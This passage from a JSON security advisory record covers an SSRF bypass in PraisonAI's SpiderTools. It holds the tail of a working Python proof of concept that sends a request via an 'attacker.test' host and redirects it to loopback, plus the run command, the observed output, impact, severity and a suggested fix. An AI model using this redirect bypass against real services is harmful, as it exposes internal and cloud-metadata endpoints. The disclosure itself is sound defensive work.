ignore[attr-defined]\n    redirect_port = redirect.server_address[1]\n\n    threading.Thread(target=internal.serve_forever, daemon=True).start()\n    threading.Thread(target=redirect.serve_forever, daemon=True).start()\n\n    original_getaddrinfo = socket.getaddrinfo\n\n    def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):\n        if host == \"attacker.test\":\n            if _called_from_spider_host_guard():\n                return [\n                    (\n                        socket.AF_INET,\n                        socket.SOCK_STREAM,\n                        6,\n                        \"\",\n                        (\"93.184.216.34\", port),\n                    )\n                ]\n            return original_getaddrinfo(\"127.0.0.1\", port, *args, **kwargs)\n        return original_getaddrinfo(host, port, *args, **kwargs)\n\n    tool = _load_spider_tools_class()()\n    socket.getaddrinfo = fake_getaddrinfo\n    try:\n        direct_control = tool.scrape_page(\n            f\"http://127.0.0.1:{internal_port}/secret\",\n            timeout=5,\n        )\n        redirect_result = tool.scrape_page(\n            f\"http://attacker.test:{redirect_port}/go\",\n            timeout=5,\n        )\n        vulnerable_redirect_hit = bool(redirect.hit)  # type: ignore[attr-defined]\n        vulnerable_internal_hit = bool(internal.hit)  # type: ignore[attr-defined]\n\n        redirect.hit = False  # type: ignore[attr-defined]\n        internal.hit = False  # type: ignore[attr-defined]\n\n        import requests\n\n        original_session_get = requests.Session.get\n\n        def no_redirect_get(self, url, **kwargs):  # type: ignore[no-untyped-def]\n            kwargs.setdefault(\"allow_redirects\", False)\n            return original_session_get(self, url, **kwargs)\n\n        requests.Session.get = no_redirect_get\n        try:\n            no_redirect_control = _load_spider_tools_class()().scrape_page(\n                f\"http://attacker.test:{redirect_port}/go\",\n                timeout=5,\n            )\n        finally:\n            requests.Session.get = original_session_get\n        no_redirect_redirect_hit = bool(redirect.hit)  # type: ignore[attr-defined]\n        no_redirect_internal_hit = bool(internal.hit)  # type: ignore[attr-defined]\n    finally:\n        socket.getaddrinfo = original_getaddrinfo\n        redirect.shutdown()\n        internal.shutdown()\n        redirect.server_close()\n        internal.server_close()\n\n    print(\"DIRECT_CONTROL:\", direct_control)\n    print(\"REDIRECT_RESULT:\", redirect_result)\n    print(\"REDIRECT_SERVER_HIT:\", vulnerable_redirect_hit)\n    print(\"INTERNAL_SERVER_HIT:\", vulnerable_internal_hit)\n    print(\"NO_REDIRECT_CONTROL:\", no_redirect_control)\n    print(\"NO_REDIRECT_SERVER_HIT:\", no_redirect_redirect_hit)\n    print(\"NO_REDIRECT_INTERNAL_HIT:\", no_redirect_internal_hit)\n\n    if not isinstance(direct_control, dict) or \"dangerous URL\" not in str(direct_control):\n        raise SystemExit(\"control failed: direct loopback was not blocked\")\n    if not isinstance(redirect_result, dict) or \"error\" in redirect_result:\n        raise SystemExit(f\"bypass failed: unexpected result {redirect_result!r}\")\n    if \"SPIDER-INTERNAL-SECRET\" not in str(redirect_result.get(\"content\", \"\")):\n        raise SystemExit(\"bypass failed: internal body was not returned\")\n    if not vulnerable_redirect_hit or not vulnerable_internal_hit:\n        raise SystemExit(\"bypass failed: expected local servers were not hit\")\n    if not no_redirect_redirect_hit or no_redirect_internal_hit:\n        raise SystemExit(\"fix control failed: no-redirect mode reached internal service\")\n\n    print(\"PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\nRun:\n\n```fish\ncd /Users/rexliu/Documents/GA\\ code/REDit\\ Deployment/stack/deploy\nenv PRAISONAI_SPIDER_TOOLS_FILE=/path/to/PraisonAI/src/praisonai-agents/praisonaiagents/tools/spider_tools.py \\\n  uv run --with requests --with beautifulsoup4 --with lxml --python 3.11 \\\n  poc_spider_tools_redirect_ssrf.py\n```\n\nObserved on current main:\n\n```text\nDIRECT_CONTROL: {\u0027error\u0027: \u0027Invalid or potentially dangerous URL: http://127.0.0.1:\u003cport\u003e/secret\u0027}\nREDIRECT_RESULT: {\u0027url\u0027: \u0027http://attacker.test:\u003cport\u003e/go\u0027, \u0027status_code\u0027: 200, ... \u0027content\u0027: \u0027SPIDER-INTERNAL-SECRET\u0027, ...}\nREDIRECT_SERVER_HIT: True\nINTERNAL_SERVER_HIT: True\nNO_REDIRECT_CONTROL: {\u0027url\u0027: \u0027http://attacker.test:\u003cport\u003e/go\u0027, \u0027status_code\u0027: 302, ... \u0027Location\u0027: \u0027http://127.0.0.1:\u003cport\u003e/secret\u0027, ...}\nNO_REDIRECT_SERVER_HIT: True\nNO_REDIRECT_INTERNAL_HIT: False\nPRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback\n```\n\nThe direct control proves direct loopback is blocked. The redirect result proves\nthe same blocked destination is reached through a public-looking initial URL.\nThe no-redirect control proves that disabling automatic redirects prevents the\ninternal request while still receiving the external redirect response.\n\n## Why this is not intended behavior\n\nThe Spider Tools documentation says `scrape_page`, `extract_links`, `crawl`, and\n`extract_text` refuse dangerous URLs before network requests. The documented\nblocked classes include loopback, private/reserved IPs, link-local/cloud\nmetadata endpoints, internal TLDs, non-HTTP(S) schemes, and parser-smuggling\nforms. The same page states the validation is always on for bundled spider tools\nand does not require `enable_security()`.\n\nThe current code also documents `_validate_url()` as URL validation \"to prevent\nSSRF attacks.\" A redirect to a loopback target bypasses that documented\nprotection.\n\n## Impact\n\nAn attacker who can influence a URL passed to `scrape_page()`,\n`extract_links()`, `crawl()`, or `extract_text()` can cause the PraisonAI process\nto request destinations that SpiderTools is designed to block.\n\nPotential impact includes:\n\n- reading loopback-only HTTP services;\n- probing or reading private network services reachable from the PraisonAI host;\n- reading link-local/cloud metadata endpoints if reachable in the deployment\n  environment.\n\nThe PoV demonstrates returned response-body disclosure from a loopback-only\nservice. This report does not claim arbitrary code execution or live cloud\ncredential theft without deployment-specific evidence.\n\n## Severity\n\nSuggested default severity: Moderate.\n\nHigh severity may be appropriate for deployments where untrusted users can\ndirectly invoke SpiderTools through a network-facing agent, bot, API, or MCP\nservice and sensitive internal or metadata services are reachable.\n\n## Suggested fix\n\nDisable automatic redirects in `scrape_page()`:\n\n```python\nresponse = session.get(\n    url,\n    timeout=timeout,\n    verify=verify_ssl,\n    allow_redirects=False,\n)\n```\n\nIf redirects should remain supported, follow them manually and validate every\n`Location` target before each hop using the same SSRF guard:\n\n- require `http` or `https`;\n- resolve and validate every redirect hostname;\n- reject loopback, private, link-local, reserved, multicast, unspecified,\n  internal, and metadata destinations;\n- cap redirect count;\n- apply the same safe fetch path to `scrape_page()`, `extract_links()`,\n  `crawl()`, and `extract_text()`.\n\nRegression tests should cover direct loopback rejection, public-to-loopback\nredirect rejection, public-to-public redirects if supported, and all\n`scrape_page()` callers.",
  "id": "PYSEC-2026-3531",
  "modified": "2026-07-23T14:32:41.535261Z",
  "published": "2026-07-23T11:41:40.989178Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h9p-93hq-q7h6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/praisonaiagents"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6h9p-93hq-q7h6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57115"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: SpiderTools redirect-target SSRF protection bypass"
}